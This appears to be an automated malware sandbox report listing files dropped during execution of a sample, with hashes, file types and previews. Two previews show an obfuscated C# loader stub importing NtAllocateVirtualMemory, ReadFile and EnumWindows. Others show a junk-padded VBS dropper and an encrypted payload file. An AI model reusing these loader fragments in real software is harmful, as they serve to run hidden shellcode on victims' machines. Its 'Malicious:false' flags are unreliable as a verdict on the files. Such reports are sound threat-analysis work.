                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:data
                                                                                                                          Category:modified
                                                                                                                          Size (bytes):5829
                                                                                                                          Entropy (8bit):4.901739309084484
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:96:7sCJ2Woe5wv2k6Lm5emmXIGvgyg12jDs+un/iQLEYFjDaeWJ6KGcmXz9smqFRLcu:Pxoe5GVsm5emdsgkjDt4iWN3yBGHD9sj
                                                                                                                          MD5:282A064FB3F0E58EC10467E027EA203A
                                                                                                                          SHA1:B5DCBF5AE67C4B57BA74CA9F614CFB2341F2E62A
                                                                                                                          SHA-256:86E625B4810E5358AD45B8D99BAB9F94671D39F1424F6E66F1B0661E73E4074F
                                                                                                                          SHA-512:984F355177D075808049E713A5DFCC12A742CBEF8F3499201C3798EF7A156F8A80A71BB589400D3AFBD5DEDEC4FA0EFD66148F02FAEB2881298D4529F659EF3F
                                                                                                                          Malicious:false
                                                                                                                          Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                                                                                          C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):871
                                                                                                                          Entropy (8bit):5.2974065929444025
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:12:V/DGrbhQzPpN+RmgkrWeszPpN9zL2xgS2q5a+HNK+4tO+M6hOQLrOsG:JobSzeRmgkr7iFL2m7q5fHNyhjni
                                                                                                                          MD5:B0C4D854DD730B30AEA1BD746BB6FBCD
                                                                                                                          SHA1:8BC1444A76D62F0346DAD934B5FF66B6FAB20E81
                                                                                                                          SHA-256:A06E857E542E86D49C3D292EE52EE7A26E90C9083486B8AC568D8739D65141F4
                                                                                                                          SHA-512:505DB2A1FBDC8BB27C9B46D481F02E52CC7F02EC1A58CCF38ACD7D8780F48B94CE910B371A71B4502826C22B83B2BDA5827FF6E61259DCB484E2F27F9BAF409B
                                                                                                                          Malicious:false
                                                                                                                          Preview:.using System;..using System.Runtime.InteropServices;..public static class ROTATIONFO1..{..[DllImport("gdi32")]public static extern IntPtr EnumFontsA(string ferskva,uint parapleg,int DEPO,int ROTATIONFO0,int Hove,int afterrak,int Svinghjule1);..[DllImport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([MarshalAs(UnmanagedType.LPStr)]string ferskva,uint parapleg,int DEPO,int ROTATIONFO0,int Hove,int afterrak,int Svinghjule1);..[DllImport("ntdll")]public static extern int NtAllocateVirtualMemory(int ROTATIONFO6,ref Int32 TERRA,int Maniokp,ref Int32 ROTATIONFO,int Phonolo,int ROTATIONFO7);..[DllImport("KERNEL32", EntryPoint="ReadFile")]public static extern int CDAC(int Maniokp0,uint Maniokp1,IntPtr Maniokp2,ref Int32 Maniokp3,int Maniokp4);..[DllImport("USER32")]public static extern IntPtr EnumWindows(IntPtr Maniokp5,int Maniokp6);....}

                                                                                                                          C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):371
                                                                                                                          Entropy (8bit):5.210865302495579
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23f9oE/+zxs7+AEszICN23f9oEb:p37Lvkmb6Km1oEGWZE71oEb
                                                                                                                          MD5:3C77EABD776B54AF29946F7644C616C9
                                                                                                                          SHA1:13095DFEC74EA96A0E50480F59CA87059DC10EE5
                                                                                                                          SHA-256:5C320986C60E163C8376935F7A45580BF8A7CDD150A1A66751DBEF90BE224C0B
                                                                                                                          SHA-512:3B9B546495C30B06310B30860F4F7282803B8CE207E8FC9C91E98D5488CA22C74B0C37250145FA66F99BE7E71E31D052DEFF4A52A29EAD52924A26BAFC717816
                                                                                                                          Malicious:false
                                                                                                                          Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs"

                                                                                                                          C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):3584
                                                                                                                          Entropy (8bit):3.2630995594396133
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:48:6lJKIm4L9k7zqbRNUcjaceNJaZrUf1ulma3SqK:+mEOeRKojT4KS
                                                                                                                          MD5:6C0D1635DE8639B38DF998F32DFDEBD5
                                                                                                                          SHA1:7F3727D1B12714789716EB2AB50A589992B38F7A
                                                                                                                          SHA-256:DCFF2E88F1AE188C4FADFEC187FEF50F0BFCBEC875AE44A668B84CD69C270E75
                                                                                                                          SHA-512:04ED8D5974CC78342BD16D4B41428A6E42832DA2CF248A8E07408413BB40CFF7028B1A0DAB6F9F64FEEF90804FA33013FFF9AF171E562C89A0D704B72276BCFE
                                                                                                                          Malicious:false
                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}b...........!.................%... ...@....... ....................................@.................................\%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~..l.......#Strings............#US.........#GUID.......p...#Blob...........G5........%3................................................................3.,.................m.....m.......................................... :............ E............ J............ b.!.......... g.+.......s.....{................................ ..s.....{...............................

                                                                                                                          C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.out

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                                                                                                                          Category:modified
                                                                                                                          Size (bytes):870
                                                                                                                          Entropy (8bit):5.299755073488665
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:24:KSqd3ka6Km1oAE71oPKax5DqBVKVrdFAMBJTH:dika6PiAE7iPK2DcVKdBJj
                                                                                                                          MD5:A93DDA465314B7C441683A04652EA331
                                                                                                                          SHA1:4F72AC9582068A16C9A875C9637D2E72DB25B70A
                                                                                                                          SHA-256:3F8889F0FA3B2D86363CCE5952D03C44D3D1DD3E40A62A4DE831FD15C74C7BF9
                                                                                                                          SHA-512:938F4586566B5BBFA491BB39FA66A4D3EBB4C9EE1200A35E2F14B360244A491034A71B4BEAD849854C80DD190EA86BC2F5EE2B59EEBA2A0BC42FD933750EEB07
                                                                                                                          Malicious:false
                                                                                                                          Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                          C:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          File Type:MSVC .res
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):652
                                                                                                                          Entropy (8bit):3.0983281083779732
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryoak7YnqqOPN5Dlq5J:+RI+ycuZhNmakSOPNnqX
                                                                                                                          MD5:4A61626BF41FFC0AD3E170E95172D26C
                                                                                                                          SHA1:7387B4B4FA04B75DEC11D7C4B221AA9AD387906F
                                                                                                                          SHA-256:B5E6D30E245928F747A9C870A0FDEA1583124735831D96420F01CB29A54F24E2
                                                                                                                          SHA-512:5EFF0978EFBD3FA3C6F158ED0067FAF795A5775877E1962CC3A5189D7F4B5031CFC40CA7E4B216B11454C275E2A65033D024A48DC6396366CBF30C48DD330245
                                                                                                                          Malicious:false
                                                                                                                          Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.5.y.t.3.n.s.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.5.y.t.3.n.s.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                          C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.0.cs

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):888
                                                                                                                          Entropy (8bit):5.22021899095466
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:24:JoQhSMIKARmgkr7xIKfLn2GVbHNB9w1yA4F:JoQhSFXmhr7uWRxB9lA4F
                                                                                                                          MD5:0E7D089253A12681FF154305095D7566
                                                                                                                          SHA1:95F860856A6AE1E6B611B59F3B3F8B85791B967C
                                                                                                                          SHA-256:2BDB7B51608BBA7AC75B64BE848CB91A6C8ECAC35D3C91002297560F465155FB
                                                                                                                          SHA-512:9D3DC2A05AF10271BB1F775322A155C800DD418D3232400B38B625B30BDA0B62E1452976E89186B673251D14502B2AF52C7831AA4D0C4A6B14A5F489B5757D2A
                                                                                                                          Malicious:false
                                                                                                                          Preview:.using System;..using System.Runtime.InteropServices;..public static class Terrak51..{..[DllImport("gdi32")]public static extern IntPtr EnumFontsA(string mazeb,uint retrodatet,int STRIKV,int Terrak50,int KRSELS,int SILE,int Indtappe);..[DllImport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([MarshalAs(UnmanagedType.LPStr)]string mazeb,uint retrodatet,int STRIKV,int Terrak50,int KRSELS,int SILE,int Indtappe);..[DllImport("ntdll")]public static extern int NtAllocateVirtualMemory(int Terrak56,ref Int32 Kritikkerd8,int Pumicosefa7,ref Int32 Terrak5,int Discommen2,int Terrak57);..[DllImport("KERNEL32", EntryPoint="ReadFile")]public static extern int CDAC(int Pumicosefa70,uint Pumicosefa71,IntPtr Pumicosefa72,ref Int32 Pumicosefa73,int Pumicosefa74);..[DllImport("USER32")]public static extern IntPtr EnumWindows(IntPtr Pumicosefa75,int Pumicosefa76);....}

                                                                                                                          C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):371
                                                                                                                          Entropy (8bit):5.213029100420306
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fzEVxzxs7+AEszICN23fzEVayA:p37Lvkmb6KmexWZE7ejA
                                                                                                                          MD5:0B27A015A1DA7071BD5E4466215A60AA
                                                                                                                          SHA1:D1E8CC7E3B4902F01C3D01422AC25026451EA4FB
                                                                                                                          SHA-256:5B1AD311C79DAF91056DB31DC2B6ABE3B136849ADDF79587BE85C3B7729D6214
                                                                                                                          SHA-512:6CC985536EE22D431E0337A77DCEB044AADCB5AD788600436A2522F940045193C7EDD3B5780F897C9EF1A7DB51F0180E606C2DC88746B5EDCAAB5B01DA1651FC
                                                                                                                          Malicious:false
                                                                                                                          Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.0.cs"

                                                                                                                          C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dll

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):3584
                                                                                                                          Entropy (8bit):3.292818694136879
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:48:6sPu44zw/lElA5qF12G+3rjaavJ+nr21ulDea3Kdq:pubw/lElAKAD6aMN8K
                                                                                                                          MD5:9625F68BA58B900E3F17FBC13EA1FD8C
                                                                                                                          SHA1:6D4826411A6AA7DA7B6537B0FB080F04CFD645AE
                                                                                                                          SHA-256:F81878C744679D7511A7E8966C4C6C589126B0B4627C704BB5B20CBE4592042B
                                                                                                                          SHA-512:129B232101F540F72D7004C265528C4710A0DB86A831516C0327D2C0F68D1CC325B036B30F49398D408E539472191749FD28C810094F089D92B0F188625F40D0
                                                                                                                          Malicious:false
                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...-.}b...........!.................%... ...@....... ....................................@.................................t%..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H.......P ..$...........................................................BSJB............v4.0.30319......l.......#~..l...0...#Strings............#US.........#GUID.......p...#Blob...........G5........%3................................................................0.).................................................................. 7............ B............ G............ _.!.......... d.+.......p.....v................................ ..p.....v...............................

                                                                                                                          C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.out

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                                                                                                                          Category:modified
                                                                                                                          Size (bytes):870
                                                                                                                          Entropy (8bit):5.298157274023789
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:24:KSqd3ka6KmZE7a1Kax5DqBVKVrdFAMBJTH:dika6PZE7gK2DcVKdBJj
                                                                                                                          MD5:0CDD78D02604739776F8ED5C4E1BD98D
                                                                                                                          SHA1:28A65165E56B472684D88F2226678021BB094FE3
                                                                                                                          SHA-256:1B6BA0CC5236DBD1C617466EEF212E6EEB01DC097A5D21B262B0CA67F757264C
                                                                                                                          SHA-512:A4AC37935ECBBA68AF943CCA0867609E19D220F79C12D7B365D84AC7542C267261121D4401BC8A0BA65F9A9DAACF4BE716326939EF8A45FB21B0F3F71BE54FE1
                                                                                                                          Malicious:false
                                                                                                                          Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                          C:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          File Type:MSVC .res
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):652
                                                                                                                          Entropy (8bit):3.0946658835425644
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry8Seak7Ynqq/S/PN5Dlq5J:+RI+ycuZhNGSeakS/S/PNnqX
                                                                                                                          MD5:E56A0A6DDB2D5993E03B0021B9F426E1
                                                                                                                          SHA1:F972CAF2166AEB2536FD94E0B275814215600CAF
                                                                                                                          SHA-256:40E330A288078D57EF29A5CE4FA1513207E6A15D3B97734526D90653DB5C256C
                                                                                                                          SHA-512:6240EB9000785F5B7F3342935459CB22612768B3865DBFAC01584A34B0B33E7B697EC7CEEC1F22C1BE2E49AC1A468901F1FA4FAB2C7BB219065F1315D4C0B047
                                                                                                                          Malicious:false
                                                                                                                          Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.g.a.p.5.e.z.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.g.a.p.5.e.z.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                          C:\Users\user\AppData\Local\Temp\Medalj.vbs

                                                                                                                          Download File
                                                                                                                          Process:C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                                                                                                                          File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):246390
                                                                                                                          Entropy (8bit):4.51626715379855
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:1536:v5GM1dkJ/Qoa82hbCCU8kGMU3vl+Udft6nrtqkC3wMT15BarEIEgThZuIJdYEkFH:vQKaJIoa8AmYF8UdfKZqkCrTswEVzuZH
                                                                                                                          MD5:264CD4BE69CDC565977A7FD2723E34B3
                                                                                                                          SHA1:F34CE2DB011F024F10FF279C252BB992C5DC7C1B
                                                                                                                          SHA-256:D9B9145E206F61A5C46C1120102D36155BF65FAB99B2B0130F9FC5A37BF5A87B
                                                                                                                          SHA-512:59833577B475D6E93D931E1E928A4AEE406C274A3D7BC1F2E99453025CF66B8959BF22EC6D32714F8468351A00ACA7D3F0957E6B921CB079B1554DAF133C18A1
                                                                                                                          Malicious:false
                                                                                                                          Preview:'Afbud FJERDRA Retnin Smelte7 Flgesygdo9 afskaffels maecena Sirpl8 Diakonik9 Rumpe Bequea flussp elite INGREDIEN Mesarteri2 HYPOME Wettabl7 ..'FORFRE FRAULEINEN anlbs demipik BLATTEDU meca Bayon PERIDINIAC STEE Unseptated Pluricus Fuld design sikk WHOLENE Konfid4 Teiaschlo Inddampgi9 Diskkat1 Galanteelv klunsende REAKTORER sikke Depagani Fallose Gasm SCLER Ellesk ..'overregi Fyresedler Conventio SQUIR Nonaggre4 KELP Tonne1 Carbon3 Regionsp9 Glockens that Tacitly bilirubin Genopsla2 Overilep Unbetideva4 INGANGSBR sudorber signb Mankoenti Auxinices Militarise8 skidengr Brugersk9 Sontagcam7 FJSPORT bodelscir Mise4 concert ..'Unrulyfa sogneforen OMFORME baikerite Opvrid2 drift PECC Caloresce Afplukn8 cestast TOUG skriftef Anserin1 simplif UDRU ..'Intox remonstr forby Tilstil SYPHILO Rawh Spati Skrf miljtek Rhysk Tweez8 CHOLOPHE Cort Alveolar Restaurant3 Irremiss5 Dominial9 Boist7 saks SULPH PERCEIVE sagnfig Leptom Chlor wamozart Ynglingepi Valve1 adjun Afsb Forurene3 Monocyano ..'Printkorr

                                                                                                                          C:\Users\user\AppData\Local\Temp\RES8878.tmp

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                                                          File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):1336
                                                                                                                          Entropy (8bit):3.9813740741472996
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:24:Hkm901iEaUDHdowKTFpmfwI+ycuZhNmakSOPNnqSSd:OtaUD93KTzmo1ulma3SqSC
                                                                                                                          MD5:72FC1F4DC870DB6914C64857579014AB
                                                                                                                          SHA1:A451B5B97EDA7BA529B93A7C3F324A00C1D64D93
                                                                                                                          SHA-256:80BEBE094606B5048A756C6B3200912132449683381A8B6EC8125B60E51B59B9
                                                                                                                          SHA-512:48BC90D432BBC5B008EADAA315825B8A994F2E7AE7AC09BD7E5AE6564765B740C66AA7A9BCD72C93332A28962D1FDA0A575A75F18F77C721B46F17167BD46635
                                                                                                                          Malicious:false
                                                                                                                          Preview:L.....}b.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP..................Jabk......p.Qr.l..........5.......C:\Users\user\AppData\Local\Temp\RES8878.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.5.y.t.3.n.s.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                                                                                                          C:\Users\user\AppData\Local\Temp\RESF835.tmp

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                                                          File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):1332
                                                                                                                          Entropy (8bit):3.992137232579056
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:24:HGizW91vSA7f+H1hwKTFpmfwI+ycuZhNGSeakS/S/PNnqS2d:mRSA7WVKKTzmo1ulDea3KdqSG
                                                                                                                          MD5:FF7FB522DCB2F53C21599A3DD456D2AF
                                                                                                                          SHA1:3DFEFEA349DED031CD14A4AD1B66A543977350B6
                                                                                                                          SHA-256:5B8BEB386C4C799C3AB92CF568103C381F82F0FB83ACC19D6105281D968CBCF2
                                                                                                                          SHA-512:7D9F145A4A51276010817542C8C3C26FEFA59311A46DA2B34B6F33D60324C4ECF0E860CDC5A8984A023E7F4A787C785477D0D1610BAF6114307DD775194AABB0
                                                                                                                          Malicious:false
                                                                                                                          Preview:L...-.}b.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP................j.m.-Y..;.!..&...........5.......C:\Users\user\AppData\Local\Temp\RESF835.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.g.a.p.5.e.z.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

                                                                                                                          C:\Users\user\AppData\Local\Temp\Troldes.dat

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                          File Type:data
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):58341
                                                                                                                          Entropy (8bit):7.368594783125357
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:1536:TA7DBU4VRbJORQZpMdalnyzlIwTDIvM5A:8DBU4VJS2MkyzDTl5A
                                                                                                                          MD5:CB852E41262C281FD32E91289FFB9205
                                                                                                                          SHA1:DA036E5754D050B2C7B4C844E4B9D9E4497DB0B6
                                                                                                                          SHA-256:0FE85061C571AC40CFAC0E8FEF8CF7DD3BE9873BC6AC162E33A1287A93E145D0
                                                                                                                          SHA-512:9A47AF4EF10D17AC4584BC5DACE517D1BA1B31D292909A2047DCE001A08D8F27A37C20D4849C534C5851DD9F683EA4DB3C02E339918921AF1A6D80DF2B83D0C9
                                                                                                                          Malicious:false
                                                                                                                          Preview:..............6..n....*.D.S......Z.._1..4..S.C@@@@9.u.W..........C...........h|.|.....9jw].[.2*W...#.m......7.O.|(.w.#@...?.Y0...DJ..e...9.V.Fw%.]J.9...f..{&..K..l.....{.zI.p.'..`.[!0Z...A.E.....S.n=H...h.....H.9.......OJ.W......'..0.7q....^r...h#.D0i.....r...?.I...{..2..{.S...:...u.c..L.g.AR.b.....c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..ckg....C.S..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c......H.w.%g.....B.!..x....TrE.c&..#.-.....O..u..I/...u&z...>..3...f.~.f..$_.C..Y. .S.*....5w.....%..B.S.C.S..g.hC.S..:...g..6..A..Sv.3jH...{r..._..$S........1jQ....C..I._.g.j..f...:.gL..|..G.S...5....<C..._f...O.z1.+n.hrQS..{...jS...y..L3C.....S.{.5...s\C....k.LB.S.......S...9.%......HC.Sh.4S..*.w..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c.5..%..Kt.\%c'.K...r..B...{...%.w.[.i.

                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fu5ipelj.u5l.psm1

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):60
                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                          Encrypted:false
